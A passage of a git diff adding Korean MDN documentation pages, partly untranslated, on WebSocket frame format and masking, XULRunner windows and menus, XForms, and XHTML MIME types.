+<p>Either the client or the server can choose to send a message at any time — that's the magic of WebSockets. However, extracting information from these so-called "frames" of data is a not-so-magical experience. Although all frames follow the same specific format, data going from the client to the server is masked using <a href="https://en.wikipedia.org/wiki/XOR_cipher">XOR encryption</a> (with a 32-bit key). Section 5 of the specification describes this in detail.</p>
+
+<h3 id="데이터_프레임_포멧">데이터 프레임 포멧</h3>
+
+<p>모든 데이터 프레임 (서버-&gt;클라이언트 / 클라이언트 -&gt; 서버) 은 아래의 구조를 따릅니다:</p>
+
+<pre style="float: left; margin-right: 20px;"> <strong>0</strong>               <strong>1</strong>               <strong>2</strong>               3
+ 0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7
++-+-+-+-+-------+-+-------------+-------------------------------+
+|F|R|R|R| opcode|M| Payload len |    Extended payload length    |
+|I|S|S|S|  (4)  |A|     (7)     |             (16/64)           |
+|N|V|V|V|       |S|             |   (if payload len==126/127)   |
+| |1|2|3|       |K|             |                               |
++-+-+-+-+-------+-+-------------+ - - - - - - - - - - - - - - - +
+ 4               5               6               7
++ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +
+|     Extended payload length continued, if payload len == 127  |
++ - - - - - - - - - - - - - - - +-------------------------------+
+ 8               9               <strong>10</strong>              11
++ - - - - - - - - - - - - - - - +-------------------------------+
+|                               |Masking-key, if MASK set to 1  |
++-------------------------------+-------------------------------+
+ 12              13              <strong>14</strong>              15
++-------------------------------+-------------------------------+
+| Masking-key (continued)       |          Payload Data         |
++-------------------------------- - - - - - - - - - - - - - - - +
+:                     Payload Data continued ...                :
++ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +
+|                     Payload Data continued ...                |
++---------------------------------------------------------------+</pre>
+
+<p>RSV1-3 는 사용되지 않습니다. 이 필드들은 확장 프로토콜 또는 미래를 위해 예약되었습니다.</p>
+
+<p>MASK 비트는 메세지가 인코딩되어있는지의 여부를 나타냅니다.클라이언트가 서버로 보내는 메세지는 항상 마스킹되어야합니다. 따라서 서버는 클라이언트로부터 받은 이 필드가 항상 1임을 기대할 수 있습니다. (만약 클라이언트가 마스킹되지 않은 메세지를 보낸다면 서버는 연결을 종료해야 합니다. 참고 : <a href="http://tools.ietf.org/html/rfc6455#section-5.1">section 5.1 of the spec</a> ).<br>
+ 서버가 클라이언트에게 보내는 메세지는 MASK 필드가 항상 0이고 데이터는 마스킹되지 않은 상태여야 합니다. 마스킹이 어떻게 이루어지는지 / 마스킹된 메세지를 어떻게 디코딩하는지는 나중에 설명합니다.<br>
+ (주의: wss 연결이라고 하더라도 클라이언트가 보내는 패킷은 항상 마스킹되어야 합니다.)</p>
+
+<p>opcode 필드는 뒤따라오는 payload 데이터가 어떠한 포멧인지를 나타냅니다. 0x0은 <span style="line-height: 1.5;">continuation, 0x1은 텍스트(항상 UTF-8), 0x2는 바이너리 데이터 / 나머지 값은 "컨트롤 코드"에 사용됩니다. (컨트롤 코드에 대해서는 나중에 다루게 됩니다.) 현재 버전의 웹소켓 프로토콜에서는 0x3 / 0x7 / 0xB~0xF는 아무런 의미도 지니고있지 않습니다.</span></p>
+
+<p>FIN 비트는 이 메세지가 마지막임을 나타냅니다. 만약 FIN 비트가 0이라면 서버는 뒤에 더 따라오게 될 메세지들까지 수신해야 합니다. FIN 비트가 1일 경우에는 전체 메세지가 수신되었으므로 이를 처리합니다. 이 부분에 대해서는 뒤에 다시 설명합니다.</p>
+
+<h3 id="Payload_길이_알아내기">Payload 길이 알아내기</h3>
+
+<p>수신한 프레임으로부터 payload 데이터를 읽기 위해서는 payload length 필드를 읽어야 합니다. 불행히도 이는 약간 복잡한 작업을 거치는데 아래 순서대로 처리해 주세요.</p>
+
+<ol>
+ <li>9번째부터 15번재까지의 비트를 읽습니다. 이를 unsigned integer로 취급한 다음 값이 125거나 이보다 작을 경우 이 자체가 payload length 입니다. 이 경우에는 2, 3 과정은 필요 없습니다. 하지만 126이면 2번으로, 127일 경우 3번으로 가주세요</li>
+ <li>다음 16비트를 읽습니다. 이를 unsigned integer로 처리하고 payload length 값으로 사용합니다.</li>
+ <li>다음 64비트를 읽습니다. 이를 unsigned integer로 처리하고 payload length 값으로 사용합니다. (<a href="https://ko.wikipedia.org/wiki/%EC%B5%9C%EC%83%81%EC%9C%84_%EB%B9%84%ED%8A%B8">최상위 비트</a>는 항상 0이어야 합니다.)</li>
+</ol>
+
+<h3 id="마스킹된_Payload_데이터_디코딩하기">마스킹된 Payload 데이터 디코딩하기</h3>
+
+<p>MASK 비트가 설정되어 있디만 32비트 사이즈의 Masking-Key 필드 또한 존재하게 됩니다. <br>
+ 아래 의사코드는 Payload 데이터를 <strong>ENCODED </strong>/ Masking-Key 필드를 <strong>MASK </strong>라고 가정하고 데이터를 디코딩하는 방법을 보여줍니다. <strong>ENCODED</strong>값을 0부터 순회하면서 <strong>MASK</strong>의 i % 4에 해당하는 1바이트와 XOR 연산을 수행합니다.</p>
+
+<p>If the MASK bit was set (and it should be, for client-to-server messages), read the next 4 octets (32 bits); this is the masking key. <span style="line-height: 1.5;">Once the payload length and masking key is decoded, you can go ahead and read that number of bytes from the socket. Let's call the data <strong>ENCODED</strong>, and the key <strong>MASK</strong>. To get <strong>DECODED</strong>, loop through the octets (bytes a.k.a. characters for text data) of <strong>ENCODED</strong> and XOR the octet with the (i modulo 4)th octet of MASK. In pseudo-code (that happens to be valid JavaScript):</span></p>
+
+<pre class="notranslate">var DECODED = "";
+for (var i = 0; i &lt; ENCODED.length; i++) {
+    DECODED[i] = ENCODED[i] ^ MASK[i % 4];
+<span style="line-height: 1.5;">}</span></pre>
+
+<p>이제 <strong>DECODED</strong> 데이터를 가지고 프로토콜에 맞게 활용하면 됩니다.</p>
+
+<h3 id="Message_Fragmentation">Message Fragmentation</h3>
+
+<p>The FIN and opcode fields work together to send a message split up into separate frames.  This is called message fragmentation. Fragmentation is only available on opcodes <code>0x0</code> to <code>0x2</code>.</p>
+
+<p><span style="line-height: 1.5;">Recall that the opcode tells what a frame is meant to do. If it's <code>0x1</code>, the payload is text. If it's <code>0x2</code>, the payload is binary data.</span><span style="line-height: 1.5;"> However, if it's </span><code style="font-style: normal; line-height: 1.5;">0x0,</code><span style="line-height: 1.5;"> the frame is a continuation frame. This means the server should concatenate the frame's payload to the last frame it received from that client.</span><span style="line-height: 1.5;"> Here is a rough sketch, in which a server reacts to a client sending text messages. The first message is sent in a single frame, while the second message is sent across three frames. FIN and opcode details are shown only for the client:</span></p>
+
+<pre style="font-size: 14px;"><strong>Client:</strong> FIN=1, opcode=0x1, msg="hello"
+<strong>Server:</strong> <em>(process complete message immediately) </em>Hi.
+<strong>Client:</strong> FIN=0, opcode=0x1, msg="and a"
+<strong>Server:</strong> <em>(listening, new message containing text started)</em>
+<strong>Client:</strong> FIN=0, opcode=0x0, msg="happy new"
+<strong>Server:</strong> <em>(listening, payload concatenated to previous message)</em>
+<strong>Client:</strong> FIN=1, opcode=0x0, msg="year!"
+<strong>Server:</strong> <em>(process complete message) </em>Happy new year to you too!</pre>
+
+<p>Notice the first frame contains an entire message (has <code>FIN=1</code> and <code>opcode!=0x0</code>), so the server can process or respond as it sees fit. The second frame sent by the client has a text payload (<code>opcode=0x1</code>), but the entire message has not arrived yet (<code>FIN=0</code>). All remaining parts of that message are sent with continuation frames (<code>opcode=0x0</code>), and the final frame of the message is marked by <code>FIN=1</code>. <a href="http://tools.ietf.org/html/rfc6455#section-5.4">Section 5.4 of the spec</a> describes message fragmentation.</p>
+
+<h2 id="Pings_and_Pongs_The_Heartbeat_of_WebSockets">Pings and Pongs: The Heartbeat of WebSockets</h2>
+
+<p>핸드쉐이크가 끝난 시점부터 서버 혹은 클라이언트는 언제든지 ping 패킷을 보낼 수 있습니다. 만약 ping 패킷이 수신되면 수신자는 가능한 빨리 응답으로 pong 패킷을 보내야 합니다. (ping에서 전달된 payload와 동일한 payload를 붙여서 pong을 보냅니다. 이 경우 최대 payload length는 125입니다.) 서버는 주기적으로 ping을 보내 클라이언트가 아직 살아있는 상태인지 체크할 수 있습니다.</p>
+
+<p>A ping or pong is just a regular frame, but it's a <strong>control frame</strong>. Pings have an opcode of <code>0x9</code>, and pongs have an opcode of <code>0xA</code>. When you get a ping, send back a pong with the exact same Payload Data as the ping (for pings and pongs, the max payload length is 125). You might also get a pong without ever sending a ping; ignore this if it happens.</p>
+
+<div class="note">
+<p>If you have gotten more than one ping before you get the chance to send a pong, you only send one pong.</p>
+</div>
+
+<h2 id="Step_4_Closing_the_connection">Step 4: Closing the connection</h2>
+
+<p>To close a connection either the client or server can send a control frame with data containing a specified control sequence to begin the closing handshake (detailed in <a href="http://tools.ietf.org/html/rfc6455#section-5.5.1">Section 5.5.1</a>). Upon receiving such a frame, the other peer sends a Close frame in response. The first peer then closes the connection. Any further data received after closing of connection is then discarded. </p>
+
+<h2 id="Miscellaneous_2"><a name="Miscellaneous">Miscellaneous</a></h2>
+
+<div class="note">
+<p>WebSocket codes, extensions, subprotocols, etc. are registered at the <a href="http://www.iana.org/assignments/websocket/websocket.xml">IANA WebSocket Protocol Registry</a>.</p>
+</div>
+
+<p>WebSocket extensions and subprotocols are negotiated via headers during <a href="#Handshake">the handshake</a>. Sometimes extensions and subprotocols seem too similar to be different things, but there is a clear distinction. Extensions control the WebSocket <strong>frame</strong> and <strong>modify</strong> the payload, while subprotocols structure the WebSocket <strong>payload</strong> and <strong>never modify</strong> anything. Extensions are optional and generalized (like compression); subprotocols are mandatory and localized (like ones for chat and for MMORPG games).</p>
+
+<h3 id="Extensions">Extensions</h3>
+
+<div class="note">
+<p><strong>This section needs expansion. Please edit if you are equipped to do so.</strong></p>
+</div>
+
+<p>Think of an extension as compressing a file before e-mailing it to someone. Whatever you do, you're sending the <em>same</em> data in different forms. The recipient will eventually be able to get the same data as your local copy, but it is sent differently. That's what an extension does. WebSockets defines a protocol and a simple way to send data, but an extension such as compression could allow sending the same data but in a shorter format.</p>
+
+<div class="note">
+<p>Extensions are explained in sections 5.8, 9, 11.3.2, and 11.4 of the spec.</p>
+</div>
+
+<p><em>TODO</em></p>
+
+<h3 id="서브프로토콜">서브프로토콜</h3>
+
+<p>Think of a subprotocol as a custom <a href="https://en.wikipedia.org/wiki/XML_schema">XML schema</a> or <a href="https://en.wikipedia.org/wiki/Document_Type_Definition">doctype declaration</a>. You're still using XML and its syntax, but you're additionally restricted by a structure you agreed on. WebSocket subprotocols are just like that. They do not introduce anything fancy, they just establish structure. Like a doctype or schema, both parties must agree on the subprotocol; unlike a doctype or schema, the subprotocol is implemented on the server and cannot be externally refered to by the client.</p>
+
+<div class="note">
+<p>Subprotocols are explained in sections 1.9, 4.2, 11.3.4, and 11.5 of the spec.</p>
+</div>
+
+<p>클라이언트는 핸드쉐이크 요청 시에 특정한 서브프로콜의 목록을 같이 보낼 수 있습니다.<strong> Sec-WebSocket-Protocol </strong>헤더에 사용하기를 원하는 서브프로토콜의 목록을 같이 보냅니다.</p>
+
+<pre class="notranslate">GET /chat HTTP/1.1
+...
+Sec-WebSocket-Protocol: soap, wamp
+
+</pre>
+
+<p>또는 아래와 같이 보낼 수도 있습니다.:</p>
+
+<pre class="notranslate">...
+Sec-WebSocket-Protocol: soap
+Sec-WebSocket-Protocol: wamp
+
+</pre>
+
+<p>클라이언트로부터 서브프로토콜 요청을 받으면, 서버는 그 중에서 자신이 지원할 수 있는 서브프로토콜을 <strong>하나 </strong>골라야 합니다. 만약 클라이언트가 보낸 목록 중, 여러개를 지원할 수 있다면 지원하는 목록 중 가장 첫번째 서브프로토콜을 보내주세요. </p>
+
+<p>Imagine our server can use both <code>soap</code> and <code>wamp</code>. Then, in the response handshake, it'll send:</p>
+
+<pre class="notranslate">Sec-WebSocket-Protocol: soap
+
+</pre>
+
+<div class="warning">
+<p><code>서버는 반드시 하나의 Sec-Websocket-Protocol 헤더만을 송신해야 합니다.</code><br>
+ <code>만약 서버가 어떠한 서브프로토콜도 지원하고 싶지 않다면 Sec-Websocket-Protocol 헤더를 빼고 보내주세요. 빈 값을 넣어서 보내도 안됩니다.</code><br>
+ 서버가 아무 서브프로토콜을 지원하지 않겠다고 한다면 클라이언트는 연결을 닫아버릴수도 있습니다.</p>
+</div>
+
+<p>If you want your server to obey certain subprotocols, then naturally you'll need extra code on the server. Let's imagine we're using a subprotocol <code>json</code>. In this subprotocol, all data is passed as <a href="https://en.wikipedia.org/wiki/JSON">JSON</a>. If the client solicits this protocol and the server wants to use it, the server will need to have a JSON parser. Practically speaking, this will be part of a library, but the server will need to pass the data around.</p>
+
+<div class="note">
+<p><strong>Tip:</strong> To avoid name conflict, it's recommended to make your subprotocol name part of a domain string. If you are building a custom chat app that uses a proprietary format exclusive to Example Inc., then you might use this: <code>Sec-WebSocket-Protocol: chat.example.com</code>. For different versions, a widely-used method is to add a <code>/</code> followed by the version number, like <code>chat.example.com/2.0</code>. Note that this isn't required, it's just an optional convention, and you can use any string you wish.</p>
+</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/en-US/docs/WebSockets/Writing_WebSocket_server" title="/en-US/docs/WebSockets/Writing_WebSocket_server">Tutorial: Websocket server in C#</a></li>
+ <li><a href="/en-US/docs/WebSockets/Writing_WebSocket_client_applications">Writing WebSocket client applications</a></li>
+ <li><a href="/en-US/docs/WebSockets/WebSocket_Server_Vb.NET">Tutorial: Websocket server in VB.NET</a></li>
+</ul>
diff --git a/files/ko/windows_and_menus_in_xulrunner/index.html b/files/ko/windows_and_menus_in_xulrunner/index.html
new file mode 100644
index 0000000000..53fc6eea99
--- /dev/null
+++ b/files/ko/windows_and_menus_in_xulrunner/index.html
@@ -0,0 +1,127 @@
+---
+title: Windows and menus in XULRunner
+slug: Windows_and_menus_in_XULRunner
+tags:
+  - XUL
+  - XULRunner
+---
+<p>
+{{ PreviousNext("Getting started with XULRunner", "Dialogs in XULRunner") }}
+</p><p><a href="ko/XULRunner">XULRunner</a>을 이용하여 간단한 데스크톱 애플리케이션을 만드는 방법을 알아보겠습니다. <a href="ko/Getting_started_with_XULRunner">앞 장</a>에서 우리는 XULRunner를 설치하고 기본적인 테스트 프로그램을 만들어 보았습니다. 이번에는 사용자 인터페이스를 갖는 프로그램을 만들어 보겠습니다.
+</p>
+<ul><li> 윈도우와 대화창
+</li><li> 메뉴와 툴바
+</li><li> 운영체제 기본 대화창
+</li><li> 콘트롤 및 위젯
+</li></ul>
+<h2 id=".EC.9C.88.EB.8F.84.EC.9A.B0">윈도우</h2>
+<p>각 윈도우나 대화창은 각 XUL 파일로 만듭니다. XUL 파일 상위에는 우리가 사용할 CSS와 DTD를 선언하게 됩니다. <code><span>&lt;window&gt;</span></code>는 기본 창을 만드는 요소 입니다. 콘트롤에 대한 제목과 캡션, 창의 가로 및 세로폭을 정하는 속성을 가지고 있습니다. 아마 대부분은 아시겠지만 XUL 파일 하나 당 하나의 <code><span>&lt;window&gt;</span></code> 요소를 가집니다. 예를 들어,
+</p>
+<pre>&lt;?xml version="1.0"?&gt;
+&lt;?xml-stylesheet href="chrome://basicapp/skin/main.css" type="text/css"?&gt;
+
+&lt;!DOCTYPE window SYSTEM "chrome://basicapp/locale/main.dtd"&gt;
+
+&lt;window id="main"
+    title="&amp;title;"
+    xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"&gt;
+  &lt;script src="main.js"/&gt;
+...
+&lt;/window&gt;
+</pre>
+<p>이제 CSS와 DTD에 대해 알아보겠습니다. CSS는 HTML에서 사용하는 방법과 같이 각 요소에 대한 디자인 및 형식을 지정해 줍니다. DTD는 XUL파일에서 언어별 지역화를 위해 바로 저장할 수 없는 제목이나 라벨 같은 문자열을 참조하는 방식으로 사용합니다. 메시지를 변경하거나 지역화 작업에 용이 합니다. 예제에서 창 title을 표시하는 방법을 참고하세요. 또한, <code><span>&lt;script&gt;</span></code> 요소를 이용하여 XUL 파일내의 동작을 제어해 줍니다. CSS, DTD, 자바스크립트를 XUL 파일에 기본적으로 삽입하는 것은 가장 기본적인 코드입니다.
+</p><p>XUL 애플리케이션을 실행하려면 XULRunner가 윈도우 기본 아이콘을 제공 합니다만 원하는 아이콘으로 바꾸려면 <a href="ko/Window_icons">윈도우 아이콘</a>을 참고해서 바꿀 수 있습니다.
+</p>
+<h2 id=".EB.A9.94.EB.89.B4.EC.99.80_.ED.88.B4.EB.B0.94">메뉴와 툴바</h2>
+<p>대부분 데스크톱 애플리케이션은 자체 폼 도구를 가지고 있어서 메뉴나 툴바 구조를 추가하고 변경하는 데 매우 어렵습니다. 하지만 XUL에서는 쉽게 요소만 추가하면 만들어 낼 수 있습니다.
+</p><p>아래는 XUL 메뉴와 툴바를 만드는 아주 간단한 예제 코드입니다.
+</p>
+<pre>&lt;?xml version="1.0"?&gt;
+&lt;?xml-stylesheet href="chrome://basicapp/skin/main.css" type="text/css"?&gt;
+
+&lt;!DOCTYPE window SYSTEM "chrome://basicapp/locale/main.dtd"&gt;
+
+&lt;window id="main"
+    title="&amp;title;"
+    xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"&gt;
+  &lt;script src="main.js"/&gt;
+  &lt;toolbox&gt;
+    &lt;menubar id="menubar"&gt;
+      &lt;menu id="file-menu" label="&amp;file;"&gt;
+        &lt;menupopup id="file-popup"&gt;
+          &lt;menuitem label="&amp;file.new'" oncommand="doFileNew();"/&gt;
+          &lt;menuitem label="&amp;file.open;" oncommand="doFileOpen();"/&gt;
+          &lt;menuitem label="&amp;file.save;" oncommand="doFileSave();"/&gt;
+          &lt;menuseparator/&gt;
+          &lt;menuitem label="&amp;file.exit;" oncommand="doFileExit();"/&gt;
+        &lt;/menupopup&gt;
+      &lt;/menu&gt;
+      &lt;menu id="edit-menu" label="&amp;edit;"&gt;
+        &lt;menupopup id="edit-popup"&gt;
+          &lt;menuitem label="&amp;edit.undo;" oncommand="doEditUndo();"/&gt;
+          &lt;menuitem label="&amp;edit.redo;" oncommand="doEditRedo();"/&gt;
+        &lt;/menupopup&gt;
+      &lt;/menu&gt;
+    &lt;/menubar&gt;
+    &lt;toolbar id="main-toolbar"&gt;
+      &lt;toolbarbutton id="open" label="&amp;file.open;" oncommand="doFileOpen();"/&gt;
+      &lt;toolbarbutton id="save" label="&amp;file.save;" oncommand="doFileSave();"/&gt;
+    &lt;/toolbar&gt;
+  &lt;/toolbox&gt;
+...
+&lt;/window&gt;
+</pre>
+<p>각 메뉴와 툴바의 라벨을 표시하기 위해 엔티티-참조를 사용했고, <code>oncommand</code> 이벤트는 HTML에서 <code>onclick</code>를 쓰는 것 처럼 자바 스크립트를 참조합니다. XUL에서는 &lt;var&gt;open&lt;/var&gt;나 &lt;var&gt;save&lt;/var&gt; 같은 메뉴와 툴바의 이벤트 핸들러와 명령 수행을 위한 방식을 가지고 있습니다.
+</p>
+<pre>&lt;commandset&gt;
+  &lt;command id="cmd_open" label="&amp;file.open;" oncommand="doFileOpen();"/&gt;
+  &lt;command id="cmd_save" label="&amp;file.save;" oncommand="doFileSave();"/&gt;
+&lt;/commandset&gt;
+...
+&lt;menuitem  command="cmd_open"/&gt;
+&lt;menuitem command="cmd_save"/&gt;
+...
+&lt;toolbarbutton id="open" command="cmd_open"/&gt;
+&lt;toolbarbutton id="save" command="cmd_save"/&gt;
+...
+</pre>
+<p>또한, CSS 파일로 툴바 버튼에 그림을 추가할 수 있습니다. XUL 파일내에 아이콘 파일이 있으면 CSS로 다음과 같이 표시할 수 있습니다.
+</p><p><br>
+</p>
+<pre>/* global skin --------------------------------------------------- */
+@import url(chrome://global/skin/);
+
+/* toolbar ------------------------------------------------------- */
+#open {
+  list-style-image: url(chrome://basicapp/skin/open.png);
+  -moz-box-orient: vertical;
+}
+
+#save {
+  list-style-image: url(chrome://basicapp/skin/save.png);
+  -moz-box-orient: vertical;
+}
+</pre>
+<p>물론 PNG 파일을 애플리케이션에 포함해서 배포해야 합니다.
+</p><p>지금까지 아주 간단한 XUL 사용자 인터페이스를 살펴 보았습니다. 다음 장에서는 XUL Runner에서 UI를 생성하는 과정을 계속 살펴 보겠습니다.
+</p>
+<h2 id=".EC.B0.B8.EA.B3.A0_.EB.AC.B8.EC.84.9C">참고 문서</h2>
+<ul><li> <a class="external" href="http://wiki.mozilla.org/XUL:Windows">XUL:Windows</a>
+</li><li> <a href="ko/XUL_Tutorial/Creating_a_Window">XUL Tutorial:Creating a Window</a>
+</li><li> <a href="ko/XUL/commandset">XUL:commandset</a>
+</li><li> <a href="ko/XUL/command">XUL:command</a>
+</li><li> <a href="ko/XUL_Tutorial/Commands">XUL Tutorial:Commands</a>
+</li><li> <a href="ko/XUL_Tutorial/Simple_Menu_Bars">XUL Tutorial:Simple Menu Bars</a>
+</li><li> <a href="ko/XUL_Tutorial/Toolbars">XUL Tutorial:Toolbars</a>
+</li></ul>
+<p>{{ PreviousNext("Getting started with XULRunner", "Dialogs in XULRunner") }}
+</p>
+<div class="originaldocinfo">
+<h2 id=".EC.9B.90.EB.B3.B8_.EB.AC.B8.EC.84.9C"> 원본 문서 </h2>
+<ul><li> 저자: Mark Finkle
+</li><li> 최종 수정일: October 2, 2006
+</li></ul>
+</div>
+<div class="noinclude">
+</div>
+{{ languages( { "ja": "ja/Windows_and_menus_in_XULRunner" } ) }}
diff --git a/files/ko/xforms/index.html b/files/ko/xforms/index.html
new file mode 100644
index 0000000000..a0be05b85c
--- /dev/null
+++ b/files/ko/xforms/index.html
@@ -0,0 +1,86 @@
+---
+title: XForms
+slug: XForms
+tags:
+  - XForms
+translation_of: Archive/Web/XForms
+---
+<div class="callout-box">
+ <b><a class="external" href="http://xformsinstitute.com/essentials/browse/">XForms Essentials</a></b><br>
+ XForms로 안내 여행을 제공하는 온라인 책</div>
+<div>
+ <b>XForms</b>는 W3C가 계획한 대로 온라인 폼의 미래입니다. <a href="ko/XML_Schema">XML Schema</a>, <a href="ko/XPath">XPath</a>, <a href="ko/XML_Events">XML Events</a>과 같은 W3C의 다른 표준을 끌어다가, XForms는 현재 <a href="ko/HTML">HTML</a> 폼 모델에 있는 한계를 처리하려 합니다. XForms가 표에 가져다주는 다른 강점은 겉모양에서 데이터 분리, 엄격한 데이터 형 검사, 이름/값 쌍 대신 서버에 <a href="ko/XML">XML</a> 데이터를 제출(submit)하는 능력, 넓고 다양한 장치에 표시할 수 있도록 폼을 작성하는 기술법입니다. XForms는 <a class="external" href="http://www.w3.org/MarkUp/Forms/">W3C specification</a>입니다.</div>
+<div>
+ <p>XForms 지원은 <a class="external" href="http://www.mozilla.org/projects/xforms">Mozilla XForms Extension</a>을 설치하여 Firefox와 SeaMonkey에 추가할 수 있습니다.</p>
+</div>
+<table class="topicpage-table">
+ <tbody>
+  <tr>
+   <td>
+    <h4 id=".EB.AC.B8.EC.84.9C" name=".EB.AC.B8.EC.84.9C"><a>문서</a></h4>
+    <dl>
+     <dt>
+      <a href="ko/XForms/Form_Troubleshooting">Troubleshooting tips for XForms</a></dt>
+     <dd>
+      <small>XForms 폼에 있는 공통 문제를 해결하는 작은 팁 모음입니다.</small></dd>
+    </dl>
+    <dl>
+     <dt>
+      <a href="ko/XForms/Mozilla_XForms_Specials">Mozilla XForms specials</a></dt>
+     <dd>
+      <small>Mozilla XForms가 어디서, 어떻게 XForms 1.0 명세를 파생(deviate)하고 확장하는 지를 설명합니다.</small></dd>
+    </dl>
+    <dl>
+     <dt>
+      <a href="ko/XForms/Custom_Controls">XForms custom controls</a></dt>
+     <dd>
+      <small>사용자 정의 컨트롤은 폼 작성자가 XBL로 각 XForms 컨트롤을
+      <i>
+       skin</i>
+      하고 Firefox가 SVG <code>input</code> 컨트롤을 만들게 합니다.</small></dd>
+    </dl>
+    <dl>
+     <dt>
+      <a href="ko/XForms/User_preferences">XForms user preferences</a></dt>
+     <dd>
+      <small>XForms가 쓰는 <code>about:config</code> 변수 설명</small></dd>
+    </dl>
+    <dl>
+     <dt>
+      <a href="ko/XForms/API_Reference">XForms API reference</a></dt>
+     <dd>
+      <small>XForms 인터페이스 문서</small></dd>
+    </dl>
+    <p><span class="alllinks"><a>View All...</a></span></p>
+   </td>
+   <td>
+    <h4 id=".EC.BB.A4.EB.AE.A4.EB.8B.88.ED.8B.B0" name=".EC.BB.A4.EB.AE.A4.EB.8B.88.ED.8B.B0">커뮤니티</h4>
+    <ul>
+     <li>Mozilla 포럼 보기...</li>
+    </ul>
+    <p>{{ DiscussionList("dev-tech-xforms", "mozilla.dev.tech.xforms") }}</p>
+    <ul>
+     <li><a class="link-irc" href="irc://irc.mozilla.org/xforms">#xforms channel on irc.mozilla.org</a></li>
+     <li><a class="external" href="http://lists.w3.org/Archives/Public/www-forms/">W3C Forms mailing list</a></li>
+     <li><a class="external" href="http://beaufour.dk/blog">XForms development weblog</a></li>
+     <li><a href="ko/XForms/Community">Other community links...</a></li>
+    </ul>
+    <h4 id=".EB.8F.84.EA.B5.AC" name=".EB.8F.84.EA.B5.AC">도구</h4>
+    <ul>
+     <li><a class="external" href="http://xformsinstitute.com/validator/">XForms validator</a></li>
+     <li><a class="external" href="http://beaufour.dk/index.php?sec=misc&amp;pagename=xforms">XForms Buddy</a></li>
+    </ul>
+    <p><span class="alllinks"><a>View All...</a></span></p>
+    <h4 id=".EA.B4.80.EB.A0.A8_.EC.A3.BC.EC.A0.9C" name=".EA.B4.80.EB.A0.A8_.EC.A3.BC.EC.A0.9C">관련 주제</h4>
+    <dl>
+     <dd>
+      <a href="ko/Extensions">Extensions</a>, <a href="ko/HTML">HTML</a>, <a href="ko/XHTML">XHTML</a>, <a href="ko/XML">XML</a>, <a href="ko/XPath">XPath</a></dd>
+    </dl>
+   </td>
+  </tr>
+ </tbody>
+</table>
+<p><span class="comment">Categories</span></p>
+<p><span class="comment">Interwiki Language Links</span></p>
+<p> </p>
+<p>{{ languages( { "en": "en/XForms", "fr": "fr/XForms", "it": "it/XForms", "ja": "ja/XForms", "pl": "pl/XForms", "es": "es/XForms" } ) }}</p>
diff --git a/files/ko/xhtml/index.html b/files/ko/xhtml/index.html
new file mode 100644
index 0000000000..dfab34e19d
--- /dev/null
+++ b/files/ko/xhtml/index.html
@@ -0,0 +1,76 @@
+---
+title: XHTML
+slug: XHTML
+tags:
+  - XHTML
+translation_of: Glossary/XHTML
+---
+<p><a href="/en-US/docs/HTML" title="HTML">HTML</a>은 HTML 또는 XHTML이라는 XML문법으로 브라우저를 통해 네트워크에 접속할 수 있습니다.</p>
+
+<h2 id="HTML5_와_HTMLXHTML">HTML5 와 HTML/XHTML</h2>
+
+<p><a href="/en-US/docs/HTML/HTML5" title="HTML5">HTML5</a> 표준은 두가지 문법을 정의합니다. MIME 타입(HTTP <code style="font-style: normal;">Content-Type</code> 헤더로 전송되는)을 참조하여 어떤 문법을 사용할지 선택합니다. : XHTML의 MIME 타입은 <code style="font-style: normal;">application/xhtml+xml</code>이며  이외는 <code>text/html</code>.</p>
+
+<p>아래 예제는 HTML 문서와 XHTML문서의 사용된 헤더내용을 보여줍니다.</p>
+
+<h3 id="HTML_문서">HTML 문서</h3>
+
+<pre><code>HTTP/1.1 200 OK
+Content-Type: text/html
+
+&lt;!DOCTYPE html&gt;
+&lt;html lang=en&gt;
+  &lt;head&gt;
+    &lt;meta charset=utf-8&gt;
+    &lt;title&gt;HTML&lt;/title&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+    &lt;p&gt;I am a HTML document&lt;/p&gt;
+  &lt;/body&gt;
+&lt;/html&gt;</code></pre>
+
+<h3 id="XHTML_문서">XHTML 문서</h3>
+
+<pre>HTTP/1.1 200 OK Content-Type: application/xhtml+xml &lt;html xml:lang="en" xmlns="<code>http://www.w3.org/1999/xhtml</code>"&gt; &lt;head&gt; &lt;title&gt;XHTML&lt;/title&gt; &lt;/head&gt; &lt;body&gt; &lt;p&gt;I am a XHTML document&lt;/p&gt; &lt;/body&gt; &lt;/html&gt;</pre>
+
+<h2 id="MIME_type_vs_DOCTYPE">MIME type vs DOCTYPE</h2>
+
+<p>HTML5 이전에는 <a href="http://www.w3.org/TR/html4/" title="http://www.w3.org/TR/html4/">HTML 4.01</a> 과 <a href="http://www.w3.org/TR/xhtml1/">XHTML 1.0</a>  두개의 표준이 두개의 문법으로 분리되어 정의되었습니다. XHTML1 표준에는, XHTML을 사용하기 위해서는 특별한 DOCTYPE을 정의해야 한다고 명시되어있습니다. 하지만 브라우저들은 이 표준을 구현하지 않았고 반대로 HTML5 표준에서 다음과 같이 결정되었습니다. "<strong>content-type을 text/html로  전송한다면 XHTML을 사용하지 않는 것이다."</strong></p>
+
+<p>대신, 적절한 MIME 타입은 <code>Content-Type</code> HTTP 헤더에 정의 되어 있어야 합니다. 만약 &lt;meta http-equiv=…&gt; 같은  메타테그에 MIME 타입을 넣었다면 그것은 무시되고 <code>text/html로 간주됩니다.</code>.</p>
+
+<p>페이지를  <code>text/html로 서비스 하지만 XHTML로 문서를 작성했다면 아래 글에서 설명하는 많은 문제점들이 발생할 것 입니다. </code>:</p>
+
+<ul>
+ <li><a class="external" href="http://www.spartanicus.utvinternet.ie/no-xhtml.htm">No to XHTML</a> an excellent article from Spartanicus</li>
+ <li><a class="external" href="http://www.webdevout.net/articles/beware-of-xhtml">Beware of XHTML</a> by David Hammond</li>
+ <li><a class="external" href="http://www.hixie.ch/advocacy/xhtml">Sending XHTML as text/html Considered Harmful</a> by Ian Hickson</li>
+ <li><a class="external" href="http://www.xml.com/pub/a/2003/03/19/dive-into-xml.html">XHTML's Dirty Little Secret</a> by Mark Pilgrim</li>
+ <li><a class="external" href="http://hsivonen.iki.fi/xhtml-the-point/">XHTML - What's the Point?</a> by Henri Sivonen</li>
